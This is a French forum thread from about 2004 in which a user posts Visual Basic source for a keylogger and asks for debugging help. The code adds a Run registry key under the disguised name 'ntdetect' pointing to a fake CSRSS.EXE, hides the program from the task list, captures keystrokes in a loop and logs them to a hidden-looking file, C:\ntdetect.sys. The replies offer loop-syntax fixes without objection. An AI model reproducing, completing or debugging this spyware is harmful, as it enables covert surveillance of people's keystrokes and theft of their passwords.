Pb avec mon code source

Signaler
Messages postés
9
Date d'inscription
dimanche 14 décembre 2003
Statut
Membre
Dernière intervention
28 juin 2004
-
Messages postés
15814
Date d'inscription
jeudi 8 août 2002
Statut
Modérateur
Dernière intervention
4 mars 2013
-
voila jai une Option Explicit comme je fait un keylogger jai mis un code pour la base de registre pour quil demmare a chaque demmarage voila mon pb je vous passe ma source pouvais vous trouver tous se qui cloche

Option Explicit
Private Sub Form_Load()
Dim WshShell As String

Set WshShell = CreateObject("Wscript.Shell")

WshShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ntdetect", "C:\Windows\CSRSS.EXE"
App.TaskVisible = False

Do While 1 = 1 'change if u want to be able to turn off the timer
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop
End Sub

Private Sub Grab_Change()
Dim f As String
Open "C:\ntdetect.sys" For Input As #1
f = Input(LOF(1), 1)
Close #1

Open "C:\ntdetect.sys" For Output As #1
Print #1, f
Print #1, Grab.Text
Close #1
End Sub

voila merci davance

3 réponses

Messages postés
468
Date d'inscription
vendredi 21 février 2003
Statut
Membre
Dernière intervention
30 août 2007
2
on pourrai savoir si ca plante ? si oui...ou ? sinon c'est dificil de voir kelkechoz

++
juva

Retrouvez une équipe de développeurs confirmés sur le tchate:
serveur : bastia.zefunChat.net
port : 6667
chan : #programmation
Messages postés
1858
Date d'inscription
samedi 29 juin 2002
Statut
Membre
Dernière intervention
17 octobre 2013
10
Do While 1 = 1 <= boucle infinie
Messages postés
15814
Date d'inscription
jeudi 8 août 2002
Statut
Modérateur
Dernière intervention
4 mars 2013
131
Mets plutôt cà :

Do
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop

C'est plus clair à comprendre, et je ne pense pas que ca pose de problème !

DarK Sidious

[Responsable API/VB du site www.ProgOtoP.com]
Téléchargez ProgOtoP API Viewer